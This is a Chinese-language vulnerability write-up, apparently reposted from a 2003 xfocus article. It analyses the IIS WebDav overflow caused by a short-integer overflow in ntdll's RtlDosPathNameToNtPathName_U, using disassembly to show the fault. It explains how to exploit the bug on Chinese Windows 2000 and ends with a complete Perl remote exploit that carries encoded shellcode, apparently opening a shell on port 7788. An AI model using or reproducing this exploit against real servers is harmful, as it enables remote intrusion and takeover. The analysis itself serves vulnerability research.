【实战】WebDav远程溢出漏洞分析

时间:2022-07-27 04:00:13

WebDav远程溢出漏洞分析


创建时间:2003-03-27
文章属性:原创
文章来源: http://www.xfocus.net
文章提交: isno (isno_at_sina.com)

WebDav远程溢出漏洞分析

by isno@xfocus.org

一、漏洞分析
    这个漏洞可能是前些年就有牛人发现了的,不过一直没公布,直到最近微软出了安全公告大家才知道原来有这么个漏洞。虽然WebDav是通过IIS来利用这个漏洞的,但是漏洞本身并不是IIS造成的,而是ntdll.dll里面的一个API函数造成的。有就是说,很多调用这个API的应用程序都存在这个漏洞。整个漏洞的引用关系是这样的:

IIS->WebDav->kernel32!GetFileAttributesExW->ntdll!RtlDosPathNameToNtPathName_U(溢出)

    其中GetFileAttributesExW是一个很常用的,用来得到文件属性的API函数,它的第一个参数是文件名。并且随后调用ntdll.dll中的RtlDosPathNameToNtPathName_U函数,来处理这个文件名。如果给一个超长的文件名,就会导致RtlDosPathNameToNtPathName_U函数中发生溢出。
    这个溢出从本质上来说是一个短整型数溢出,而后导致了堆栈溢出。最近出现的很多漏洞都是整数溢出引起的,这一点值得研究。
    当我们对IIS发送如下请求就会触发溢出:
    SEARCH /[buffer(>65513 bytes)] HTTP/1.0
    其中IIS就把buffer前面加上几个字节的路径,然后作为文件名参数传给了GetFileAttributesExW,然后GetFileAttributesExW又把这个长字符串作为参数传给RtlDosPathNameToNtPathName_U,然后就溢出了。
    下面我们就来看看溢出是怎样发生的:

.text:77F8AFFC                 public RtlDosPathNameToNtPathName_U
.text:77F8AFFC RtlDosPathNameToNtPathName_U proc near  ; CODE XREF: sub_77F87F5C+15p
.text:77F8AFFC                                         ; .text:77F8D9F8p ...
.text:77F8AFFC                 push    ebp
.text:77F8AFFD                 mov     ebp, esp
.text:77F8AFFF                 push    0FFFFFFFFh
.text:77F8B001                 push    offset dword_77F8B1E8
.text:77F8B006                 push    offset sub_77F82B95
.text:77F8B00B                 mov     eax, large fs:0
.text:77F8B011                 push    eax
.text:77F8B012                 mov     large fs:0, esp    ;建立异常链
.text:77F8B019                 push    ecx
.text:77F8B01A                 push    ecx
.text:77F8B01B                 sub     esp, 26Ch
.text:77F8B021                 push    ebx
.text:77F8B022                 push    esi
.text:77F8B023                 push    edi
.text:77F8B024                 mov     [ebp+var_18], esp
.text:77F8B027                 xor     ebx, ebx
.text:77F8B029                 mov     [ebp+var_58], ebx
.text:77F8B02C                 mov     [ebp+var_3C], ebx
.text:77F8B02F                 mov     edi, 20Ah
.text:77F8B034                 mov     esi, edi
.text:77F8B036                 push    [ebp+arg_0]          ;路径UNICODE字符串
.text:77F8B039                 lea     eax, [ebp+var_30]    ;UNICODE_STRING结构指针
.text:77F8B03C                 push    eax
.text:77F8B03D                 call    RtlInitUnicodeString


    调用RtlInitUnicodeString函数来初始化UNICODE_STRING结构,UNICODE_STRING结构如下:

typedef struct _UNICODE_STRING {
    USHORT Length;    //UNICODE字符串长度,短整型数,最大可以是0xffff即65535
    USHORT MaximumLength;    //UNICODE字符串可存储最大长度,短整型,最大可以是0xffff即65535
    PWSTR Buffer;    //存放UNICODE字符串的地址
} UNICODE_STRING *PUNICODE_STRING;

    RtlInitUnicodeString的作用其实就是把路径字符串存放到Buffer,并计算其长度,放在Length里。这里就存在一个短整型数溢出,如果路径字符串的长度超过65535,由于Length是短整型数,所以无法容纳,就会溢出,例如当路径长度是65536,那么Length就为0,与实际长度不等。在后面会使用到Length的时候就导致了普通的堆栈溢出。

.text:77F8B05A                 lea     eax, [ebp+var_270]
.text:77F8B060                 mov     [ebp+var_3C], eax
RtlDosPathNameToNtPathName_U函数堆栈中的地址,距离函数栈底的距离为0x270字节,后面会作为参数传入sub_77F8AC33

.text:77F8B0A0                 lea     eax, [ebp+var_274]
.text:77F8B0A6                 push    eax
.text:77F8B0A7                 lea     eax, [ebp+var_38]
.text:77F8B0AA                 push    eax
.text:77F8B0AB                 push    [ebp+arg_8]
.text:77F8B0AE                 push    [ebp+var_3C]        ;前面取的那个堆栈地址[ebp+var_270]
.text:77F8B0B1                 mov     edi, 208h
.text:77F8B0B6                 push    edi                 ;长度限制,0x208
.text:77F8B0B7                 lea     eax, [ebp+var_30]   ;已经初始化过的UNICODE_STRING结构指针
.text:77F8B0BA                 push    eax
.text:77F8B0BB                 call    sub_77F8AC33        ;调用sub_77F8AC33

.text:77F8AC33 sub_77F8AC33    proc near               ; CODE XREF: RtlGetFullPathName_U+24p
.text:77F8AC33                                         ; RtlDosPathNameToNtPathName_U+BFp ...
......
.text:77F8AD96                 mov     dx, [ebp+var_30]
.text:77F8AD9A                 movzx   esi, dx
.text:77F8AD9D                 mov     eax, [ebp+var_28]
.text:77F8ADA0                 lea     ecx, [eax+esi]      ;ecx就是UNICODE_STRING结构中的Length
.text:77F8ADA3                 mov     [ebp+var_5C], ecx
.text:77F8ADA6                 cmp     ecx, [ebp+arg_4]    ;长度限制比较,Length与arg_4参数(即0x208)进行比较
.text:77F8ADA9                 jnb     loc_77F8E771        ;如果UNICODE字符串的长度大于0x208就跳转到错误处理
    这里是有一个长度限制的,即UNICODE字符串的长度Length不能超过0x208字节,否则就认为是超长的,不进行字符串拷贝。但是由于Length这个短整型数溢出了,它比UNICODE字符串的实际长度小的多,所以造成长度限制比较失效,从而造成了后面的溢出。
    进行完长度限制比较后,就会把UNICODE_STRING结构中的Buffer里面的内容拷贝到[arg_8+offset]里面(offset很小),也就是前面取的那个堆栈地址[ebp+var_270]里面。
.text:77F8AE1B                 movzx   ecx, [ebp+var_4C]
.text:77F8AE1F                 add     ecx, [ebp+arg_8]    ;ecx就是前面取的那个堆栈地址[ebp+var_270]
......
接下来就是一些的字符串copy操作,把UNICODE_STRING结构中的Buffer里面的内容拷贝到[arg_8+offset]里面。
.text:77F8AE63                 mov     [ecx], dx
.text:77F8AE66                 add     ecx, ebx
    字符串copy的时候就溢出了,会把RtlDosPathNameToNtPathName_U函数的返回地址,以及建立的异常链全部覆盖掉。一般我们通过把异常处理指针覆盖成我们能控制的地址,这样后面触发异常的时候就会跳去执行我们的shellcode。
    大概的过程就是这样,当然其中还有一些比较复杂的处理,不再赘述。

二、漏洞利用
    微软的公告出来之后,我就重现了这个漏洞,但是由于很长时间不搞这些东西了,连softice命令都要重新学学才能记起来。到要写这个的exploit程序,又发现其中的UNICODE转换很烦人,到现在也一直没有很通用的办法来利用。后来等到老外公布了他的exploit程序,我才发现原来中文版和英文版的Windows 2000的UNICODE转换不一样,对中文版win2000的exploit要麻烦的多,像老外那样子写的exploit程序根本无法攻击中文版的win2000。
    当我们把“SEARCH /[buffer] HTTP/1.0”传给IIS后,先进行一系列的处理把buffer解析出来,然后对buffer进行MultiByteToWideChar转换,把buffer转换成UNICODE形式。中文版和英文版的win2000的转换应该是不一样的,可能是转换的CodePage不一样,英文版可能是使用CP_ACP,中文版可能使用的是CP_UTF*,具体是怎样转换的我也没搞清楚,总之转换出的结果在中文版和英文版中应该是不一样的。
    这样就造成了中文版的难以利用,因为英文版中可以直接把一些指令或返回地址放在buffer里面,转换成UNICODE之后也不会改变。但是中文版的在转换之后就有好多字节变了,导致无法利用。按说像以前的ida/idq溢出也是经过UNICODE转换的,那个就可以用%u的方法进行编码,使得某些字节不进行转换。WebDav的溢出虽然也能用%u编码来控制不进行转换,但是实际调试发现某些不符合规范的字节还是被改变了。估计是对有%u编码的字节先进行了MultiByteToWideChar转换,然后又用WideCharToMultiByte给转回来了。所以不符合UNICODE编码规范的字符就还是被改变了。
    最困难的问题就是我们用来覆盖的返回地址的范围大大缩小了,只能用一些符合UNICODE编码规范的字符,否则就会被转换调。可视字符(0x20~0x7f)当然是可以用的,但是要用这些字符来构造出可执行的指令就比较困难了,所以不能用含JMP EBX之类指令的地址来作为返回地址,否则即使返回到buffer里面也很难用一段指令跳转到shellcode去。而英文版就没有这个问题,可是现在公布的exploit都没用%u编码和JMP EBX地址的方法,而是用堆栈地址做返回地址,这样导致这些exploit对付英文版时成功率也不高。
    对付中文版的win2000麻烦的多,因为在buffer里面不允许有不符合UNICODE编码的字符,所以直接使用堆栈内的shellcode地址作为返回地址比较好。这样就需要在shellcode之前放尽量多的NOP,占据一段比较大的内存空间,这样确保返回到NOP里面。HTTP协议里面允许存放最大量数据的地方就是POST数据,所以shellcode就放在这里。整个HTTP请求这样构造:

SEARCH /[ret]...[ret][AAA...AAA][qq] HTTP/1.0
Host: ISNO
Content-Type: text/xml
Content-length: [NOP和Shellcode的总长度]

[NOPNOPNOP...NOPNOP][Shellcode]

    因为AAAA...AAAA的长度比较长,怕万一返回到这里面就没办法执行shellcode了,所以在AAAA的后面要放一个跳转指令,因为在堆栈里NOP和shellcode是AAAA的后面排列的(但是并不紧挨着,中间有一些无用字符),所以如果返回到AAAA里面就一直执行inc ecx指令(0x41),然后最后跳转到NOP里去。因为在这里面要用符合UNICODE编码的指令,所以一般的jmp指令(0xeb)都不能用,我们就用一个jno xxxx(0x71)指令向后跳转。所以我们在AAAA的后面放上两个q(0x71)来作为跳转指令,这样即使返回到AAAA里面也能保证最后跳转到后面的shellcode执行。
    具体的exploit程序请参见附程序。
    我在几个中文版win2000+SP2和SP3上都测试成功了,但是也有一些机器不能成功,需要调整返回地址才行。所以这个程序的通用性仍然不是很好。另外一些机器上还有返回地址要有2个字节对齐的问题,因此使用的返回地址尽量用前两个字节和后两个字节相同的,例如0x00d700d7。
    顺便说一下,我发现perl真是好东西,尤其是用来构造字符串非常方便。
    
三、总结
    这是一个典型的整数溢出导致的堆栈溢出,和以前那个ASP溢出有相似之处,只不过ASP溢出是整数溢出导致堆溢出。这个漏洞的另一个特点就是它是UNICODE转换之后的溢出,这大大增加了利用的难度。
    由于本人水平极为有限,加上没有时间进行更仔细的分析,所以对一些处理过程的理解可能不正确,对该漏洞的分析肯定存在纰漏,也许IIS有一些特殊的转换处理过程我没有发现,可能会导致这个漏洞有非常容易的方法来利用。写这个文章的目的就在于抛砖引玉,让牛人们把好的exploit方法公布出来,让小弟我也学习一下。


附WebDav远程溢出程序:
----------------------------------------------------------------------
#!/usr/bin/perl
#65514 by isno@xfocus.org
#tested on Win2k SP3 Chinese version

use IO::Socket;
if ($#ARGV<0){die "webdavx.pl IP/r/n";}
$host = @ARGV[0];
$port= 80;

$ret = "%u00d7%u00d7" x 500;
$buf = "A" x 64502;
$jmp = "BBBBBBBBBBqq";# qq="/x71/x71" means jno xxxx
$nop = "/x90" x 40000;
$sc =
    "/x90/xeb/x03/x5d/xeb/x05/xe8/xf8/xff/xff/xff/x83/xc5/x15/x90/x90".
        "/x90/x8b/xc5/x33/xc9/x66/xb9/x10/x03/x50/x80/x30/x97/x40/xe2/xfa".
        "/x7e/x8e/x95/x97/x97/xcd/x1c/x4d/x14/x7c/x90/xfd/x68/xc4/xf3/x36".
        "/x97/x97/x97/x97/xc7/xf3/x1e/xb2/x97/x97/x97/x97/xa4/x4c/x2c/x97".
        "/x97/x77/xe0/x7f/x4b/x96/x97/x97/x16/x6c/x97/x97/x68/x28/x98/x14".
        "/x59/x96/x97/x97/x16/x54/x97/x97/x96/x97/xf1/x16/xac/xda/xcd/xe2".
        "/x70/xa4/x57/x1c/xd4/xab/x94/x54/xf1/x16/xaf/xc7/xd2/xe2/x4e/x14".
        "/x57/xef/x1c/xa7/x94/x64/x1c/xd9/x9b/x94/x5c/x16/xae/xdc/xd2/xc5".
        "/xd9/xe2/x52/x16/xee/x93/xd2/xdb/xa4/xa5/xe2/x2b/xa4/x68/x1c/xd1".
        "/xb7/x94/x54/x1c/x5c/x94/x9f/x16/xae/xd0/xf2/xe3/xc7/xe2/x9e/x16".
        "/xee/x93/xe5/xf8/xf4/xd6/xe3/x91/xd0/x14/x57/x93/x7c/x72/x94/x68".
        "/x94/x6c/x1c/xc1/xb3/x94/x6d/xa4/x45/xf1/x1c/x80/x1c/x6d/x1c/xd1".
        "/x87/xdf/x94/x6f/xa4/x5e/x1c/x58/x94/x5e/x94/x5e/x94/xd9/x8b/x94".
        "/x5c/x1c/xae/x94/x6c/x7e/xfe/x96/x97/x97/xc9/x10/x60/x1c/x40/xa4".
        "/x57/x60/x47/x1c/x5f/x65/x38/x1e/xa5/x1a/xd5/x9f/xc5/xc7/xc4/x68".
        "/x85/xcd/x1e/xd5/x93/x1a/xe5/x82/xc5/xc1/x68/xc5/x93/xcd/xa4/x57".
        "/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x13/x5e/xe3/x9e/xc5/xc1/xc4".
        "/x68/x85/xcd/x3c/x75/x7f/xd1/xc5/xc1/x68/xc5/x93/xcd/x1c/x4f/xa4".
        "/x57/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x17/x6e/x95/xe3/x9e/xc5".
        "/xc1/xc4/x68/x85/xcd/x3c/x75/x70/xa4/x57/xc7/xd7/xc7/xd7/xc7/x68".
        "/xc0/x7f/x04/xfd/x87/xc1/xc4/x68/xc0/x7b/xfd/x95/xc4/x68/xc0/x67".
        "/xa4/x57/xc0/xc7/x27/x9b/x3c/xcf/x3c/xd7/x3c/xc8/xdf/xc7/xc0/xc1".
        "/x3a/xc1/x68/xc0/x57/xdf/xc7/xc0/x3a/xc1/x3a/xc1/x68/xc0/x57/xdf".
        "/x27/xd3/x1e/x90/xc0/x68/xc0/x53/xa4/x57/x1c/xd1/x63/x1e/xd0/xab".
        "/x1e/xd0/xd7/x1c/x91/x1e/xd0/xaf/xa4/x57/xf1/x2f/x96/x96/x1e/xd0".
        "/xbb/xc0/xc0/xa4/x57/xc7/xc7/xc7/xd7/xc7/xdf/xc7/xc7/x3a/xc1/xa4".
        "/x57/xc7/x68/xc0/x5f/x68/xe1/x67/x68/xc0/x5b/x68/xe1/x6b/x68/xc0".
        "/x5b/xdf/xc7/xc7/xc4/x68/xc0/x63/x1c/x4f/xa4/x57/x23/x93/xc7/x56".
        "/x7f/x93/xc7/x68/xc0/x43/x1c/x67/xa4/x57/x1c/x5f/x22/x93/xc7/xc7".
        "/xc0/xc6/xc1/x68/xe0/x3f/x68/xc0/x47/x14/xa8/x96/xeb/xb5/xa4/x57".
        "/xc7/xc0/x68/xa0/xc1/x68/xe0/x3f/x68/xc0/x4b/x9c/x57/xe3/xb8/xa4".
        "/x57/xc7/x68/xa0/xc1/xc4/x68/xc0/x6f/xfd/xc7/x68/xc0/x77/x7c/x5f".
        "/xa4/x57/xc7/x23/x93/xc7/xc1/xc4/x68/xc0/x6b/xc0/xa4/x5e/xc6/xc7".
        "/xc1/x68/xe0/x3b/x68/xc0/x4f/xfd/xc7/x68/xc0/x77/x7c/x3d/xc7/x68".
        "/xc0/x73/x7c/x69/xcf/xc7/x1e/xd5/x65/x54/x1c/xd3/xb3/x9b/x92/x2f".
        "/x97/x97/x97/x50/x97/xef/xc1/xa3/x85/xa4/x57/x54/x7c/x7b/x7f/x75".
        "/x6a/x68/x68/x7f/x05/x69/x68/x68/xdc/xc1/x70/xe0/xb4/x17/x70/xe0".
        "/xdb/xf8/xf6/xf3/xdb/xfe/xf5/xe5/xf6/xe5/xee/xd6/x97/xdc/xd2/xc5".
        "/xd9/xd2/xdb/xa4/xa5/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xfe/xe7/xf2".
        "/x97/xd0/xf2/xe3/xc4/xe3/xf6/xe5/xe3/xe2/xe7/xde/xf9/xf1/xf8/xd6".
        "/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xe5/xf8/xf4/xf2/xe4/xe4/xd6/x97".
        "/xd4/xfb/xf8/xe4/xf2/xdf/xf6/xf9/xf3/xfb/xf2/x97/xc7/xf2/xf2/xfc".
        "/xd9/xf6/xfa/xf2/xf3/xc7/xfe/xe7/xf2/x97/xd0/xfb/xf8/xf5/xf6/xfb".
        "/xd6/xfb/xfb/xf8/xf4/x97/xc0/xe5/xfe/xe3/xf2/xd1/xfe/xfb/xf2/x97".
        "/xc5/xf2/xf6/xf3/xd1/xfe/xfb/xf2/x97/xc4/xfb/xf2/xf2/xe7/x97/xd2".
        "/xef/xfe/xe3/xc7/xe5/xf8/xf4/xf2/xe4/xe4/x97/x97/xc0/xc4/xd8/xd4".
        "/xdc/xa4/xa5/x97/xe4/xf8/xf4/xfc/xf2/xe3/x97/xf5/xfe/xf9/xf3/x97".
        "/xfb/xfe/xe4/xe3/xf2/xf9/x97/xf6/xf4/xf4/xf2/xe7/xe3/x97/xe4/xf2".
        "/xf9/xf3/x97/xe5/xf2/xf4/xe1/x97/x95/x97/x89/xfb/x97/x97/x97/x97".
        "/x97/x97/x97/x97/x97/x97/x97/x97/xf4/xfa/xf3/xb9/xf2/xef/xf2/x97".
        "/x68/x68/x68/x68";

$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "tcp", Type =>SOCK_STREAM) or die "Couldn't connect: @!/n";
print $socket "SEARCH /$ret$buf$jmp HTTP/1.0/r/n";
print $socket "Host: ISNO/r/n";
print $socket "Content-Type: text/xml/r/n";
print $socket "Content-length: 40804/r/n/r/n";
print $socket "$nop$sc/r/n";

print "send buffer.../r/n";
print "telnet target 7788/r/n";

close($socket);

----------------------------------------------------------------------